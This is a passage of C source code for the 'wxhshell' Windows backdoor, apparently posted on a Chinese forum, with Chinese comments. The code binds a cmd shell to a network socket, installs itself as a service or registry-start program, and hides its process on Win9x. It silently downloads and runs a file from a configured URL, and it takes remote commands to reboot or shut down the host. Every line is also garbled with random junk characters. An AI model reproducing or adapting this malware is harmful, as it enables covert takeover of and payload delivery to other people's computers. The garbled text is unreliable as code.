  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?Z7QD8N  
  else Tz,9>uN  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -PE_qZ^  
  } x1.S+:  
  else { W-n4w Ij"  
fx{8ERo  
    switch(cmd[0]) { k~"E h]38  
  *(F`NJ 3  
  // 帮助 WYUDD_m  
  case '?': { mOsp~|d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ic0Y  
    break; gVOAB-nw  
  } 0<-E)\:[g  
  // 安装 F+V!p4G  
  case 'i': { L>h8>JvQ  
    if(Install()) pi?MAE*f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GT&}Burl/n  
    else -SrZ^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F^ 75y?  
    break; sI!H=bp-8  
    } &xQM!f  
  // 卸载 3 c=kYcj  
  case 'r': { tTLg;YjN  
    if(Uninstall()) 0 5`"U#`:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lb-1z]YwQ  
    else l?U=s7s0?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bx8](cT_  
    break; 4VwF \  
    } &vp KBR ^  
  // 显示 wxhshell 所在路径 \g39>;iR  
  case 'p': { MIrx,d  
    char svExeFile[MAX_PATH]; rGyAzL]  
    strcpy(svExeFile,"\n\r"); fORkH^Y(&  
      strcat(svExeFile,ExeFile); K -U} sW  
        send(wsh,svExeFile,strlen(svExeFile),0); ,_Z(!| rW  
    break; go uU  
    } >%j%Mj@8q|  
  // 重启 J~k9jeq9  
  case 'b': { 5 8bW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v 3I^81  
    if(Boot(REBOOT)) ,yYcjs!=o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4N,mcV  
    else {   EO&Q  
    closesocket(wsh); $oK&k}Q  
    ExitThread(0); *|fF;-#v  
    } +(3_V$|Dv  
    break; ::|~tLFu  
    } g"!(@]L!@  
  // 关机 N T`S)P*?  
  case 'd': { gsk? !D  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L (Y1ey9x  
    if(Boot(SHUTDOWN)) ai{>rO3 }I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l#'V SFm&  
    else { to'7o8Z  
    closesocket(wsh); +3)r szb72  
    ExitThread(0); 'r?ULft1  
    } ~zqb{o^pT  
    break; /,Xl8<~#  
    } =:- fK-d  
  // 获取shell @Jzk2,rI  
  case 's': { K3yQ0k |  
    CmdShell(wsh); !GqFX+!Ju  
    closesocket(wsh); ,@`?I6nKy  
    ExitThread(0); HEF e?  
    break; g'(bk@<BP  
  } fE-R(9K  
  // 退出 6_Fr\H  
  case 'x': { P8tdT3*6/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); : uncOd.  
    CloseIt(wsh); g^'h 4qOa  
    break; +1ICX  
    } <+roY"  
  // 离开 ->sxz/L  
  case 'q': { ~dYCY_a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $C4~v  
    closesocket(wsh); I\~[GsDY  
    WSACleanup(); s^wm2/Yw  
    exit(1); bn(N8MFCV  
    break; XcVN{6-z  
        } va6Fp2n<1*  
  } .uuhoqG0  
  } >t+U`6xK  
=@HS  
  // 提示信息 /eF@a!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S /hx\TzC  
} ;M:AcQZ|_  
  } UVo`jb|> o  
aSzI5J]/=  
  return; `q^#u  
} L:$4o  
Bm$|XS3cD  
// shell模块句柄 l4bytI{63  
int CmdShell(SOCKET sock) ig,.>'+l  
{ o*cu-j3  
STARTUPINFO si; cq1 5@a mX  
ZeroMemory(&si,sizeof(si)); qX\*l m/l  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3U[O :  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U"PcNQy  
PROCESS_INFORMATION ProcessInfo; -@pjEI  
char cmdline[]="cmd"; VW-qQe  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B~p%pT S+  
  return 0; !J$r|IX5  
} sg2;"E@  
i}-uK,^  
// 自身启动模式 AI|vL4*Xd  
int StartFromService(void) "4N&T#  
{ 1[%3kY-h  
typedef struct ?:(y  
{ =8AT[.Hh  
  DWORD ExitStatus; &@0~]\,D7  
  DWORD PebBaseAddress; n5:uG'L\  
  DWORD AffinityMask; 5S~ H[>A"  
  DWORD BasePriority; z$~x 2<  
  ULONG UniqueProcessId; F9K%f&0 a  
  ULONG InheritedFromUniqueProcessId; xye-Z\-t  
}   PROCESS_BASIC_INFORMATION; g6GkA.!X$  
%~u]|q<{  
PROCNTQSIP NtQueryInformationProcess; ^P) f]GQx  
D|- ]<r1"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L5&M@YTH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E }L Hp  
`|dyT6V0I_  
  HANDLE             hProcess; L)e" qC_-  
  PROCESS_BASIC_INFORMATION pbi; HQqFrR  
U0x A~5B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); YvR bM  
  if(NULL == hInst ) return 0; r/YJ,2!  
ij" ~]I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]PXM;w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GEBSUvM7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UcRP/LR%C  
A_xC@$1e<  
  if (!NtQueryInformationProcess) return 0; g`XngRb|j  
W }N UU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {{G)Ry*pb  
  if(!hProcess) return 0; H>~CL  
@\K[WqF$$q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vsY?q8+P  
~6G `k^!  
  CloseHandle(hProcess); &7L7|{18  
d$t"Vp  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q:}]-lJg  
if(hProcess==NULL) return 0; w,UE0i9I  
JJ: ku&Mb  
HMODULE hMod; *uvM6F$ut  
char procName[255]; $y(;"hy  
unsigned long cbNeeded; Obs#2>h  
M\ATT%b:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {,>G 1>Yv  
\DB-2*a"  
  CloseHandle(hProcess); C:QB=?%;  
}vndt*F   
if(strstr(procName,"services")) return 1; // 以服务启动 (b&g4$!x&5  
=sJ?]U  
  return 0; // 注册表启动 Aoe\\'O|V  
} 8Fn\ycX#"l  
M0V<Ay\%O  
// 主模块 Y|Iq~Qy~  
int StartWxhshell(LPSTR lpCmdLine) + G@N  
{ zl0{lV  
  SOCKET wsl; Ak'=l;  
BOOL val=TRUE; _imuyt".+  
  int port=0; c%H' jB [  
  struct sockaddr_in door; K~W(ZmB  
EVmBLH-a  
  if(wscfg.ws_autoins) Install(); |RX#5Q>z  
eqx }]#  
port=atoi(lpCmdLine); 1I Xtu   
*2AD#yIKC  
if(port<=0) port=wscfg.ws_port; Uh }PB3WZ  
2]!@)fio`  
  WSADATA data; xS*UY.>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HsY5wC  
-3Kh >b)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w~lH2U'k}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sSM"~_y\  
  door.sin_family = AF_INET; dC=[o\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t7=D$ua  
  door.sin_port = htons(port); 2Tp2{"sB>A  
DiJLWXs  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gx&es\  
closesocket(wsl); y|`-)fY  
return 1; JEjxY&  
} 5EYGA\  
.9~j%] q  
  if(listen(wsl,2) == INVALID_SOCKET) { ,H=k5WA4m  
closesocket(wsl); vDjH $ U  
return 1; 2 bc&sU)X  
} hU?DLl:bXF  
  Wxhshell(wsl); I8xdE(o8+  
  WSACleanup(); ( t&RFzE?G  
09kR2(nsW/  
return 0; ww2mL <B  
ztp|FUi  
} >0^<<=m  
'| 8 dt "C  
// 以NT服务方式启动 EPm~@8@"j?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) : auR0FE  
{ *`>BOl+ro  
DWORD   status = 0; ;[<(4v$  
  DWORD   specificError = 0xfffffff; =oAS(7o  
/\mtCa.O  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zv]ZEWVzc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A3]A5s6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qTsy'y;Z  
  serviceStatus.dwWin32ExitCode     = 0; zdN[Uc+1Bd  
  serviceStatus.dwServiceSpecificExitCode = 0; b:==:d:0s  
  serviceStatus.dwCheckPoint       = 0; z.Cj%N  
  serviceStatus.dwWaitHint       = 0; o'2eSm0H  
YT(N][V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kx,.)qKk  
  if (hServiceStatusHandle==0) return; =p5DT  
]#:WL)@  
status = GetLastError(); ,!orD1,'  
  if (status!=NO_ERROR) h}O tz "  
{ `/O`%6,f1!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n !)$e;l  
    serviceStatus.dwCheckPoint       = 0; 3H2~?CaJ  
    serviceStatus.dwWaitHint       = 0; S<Dbv?  
    serviceStatus.dwWin32ExitCode     = status; ;V,L_"/X  
    serviceStatus.dwServiceSpecificExitCode = specificError; eL3 _Lz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M2Q,&>M   
    return; kwjO5 OC8  
  } ;(C<gt,r}  
@*z"Hi>4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; KC;cu%H  
  serviceStatus.dwCheckPoint       = 0; :ld~9  
  serviceStatus.dwWaitHint       = 0; VLuHuih  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); erH,EE^-x<  
} b RAD_  
/,\V}`Lx"  
// 处理NT服务事件,比如:启动、停止 -^_2{i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /7}pReUj  
{ 7^dr[.Q[*  
switch(fdwControl) tZ_'>7)  
{ ale'-V)5  
case SERVICE_CONTROL_STOP: wQ33Gc  
  serviceStatus.dwWin32ExitCode = 0; ] Q5:JV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .psb# 4  
  serviceStatus.dwCheckPoint   = 0; AC RuDY  
  serviceStatus.dwWaitHint     = 0; Ht[$s40P  
  { &'uP?r9c$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;cMQ 0e  
  } Oeh A3$|#  
  return; 7FC!^)x1  
case SERVICE_CONTROL_PAUSE: ,L ig6Z`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |ADf~-AY  
  break; 8t!jo.g  
case SERVICE_CONTROL_CONTINUE: ^r~[ 3NT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  ?eS;Yc  
  break; YBt=8`r  
case SERVICE_CONTROL_INTERROGATE: 64B.7S88  
  break; <>HtXn/  
}; x^ `/&+m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VYG@_fd!x  
} <6UXk[y  
PUR,r%K`  
// 标准应用程序主函数 63l3WvoK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NLy4Z:&{  
{ X4%uY  
]?6wU-a  
// 获取操作系统版本 8iIp[9~=  
OsIsNt=GetOsVer(); \U:OQ.e  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g5y+F]'I  
Z^kE]Ir#EV  
  // 从命令行安装 A8-[EBkK  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8~Kq "wrbu  
e,%|sAs[  
  // 下载执行文件 )7 5 7   
if(wscfg.ws_downexe) { j_<qnBeQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DTO_IP  
  WinExec(wscfg.ws_filenam,SW_HIDE); {$8+n::  
} ~/rD _K  
Spn[:u@  
if(!OsIsNt) { 24J c`%7,=  
// 如果时win9x,隐藏进程并且设置为注册表启动 p%DU1+SA  
HideProc(); sxT&T=7  
StartWxhshell(lpCmdLine); D;en!.[Z  
} m.D8@[y  
else aE~T!h  
  if(StartFromService()) N<Sl88+U  
  // 以服务方式启动 tVG;A&\,6  
  StartServiceCtrlDispatcher(DispatchTable); i-|N6J  
else 7 yE\,  
  // 普通方式启动 [* <x)  
  StartWxhshell(lpCmdLine); S~/2Bw!2  
:E9pdx+  
return 0; /EjXyrn2  
}
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只看该作者 1 发表于: 2006-10-10
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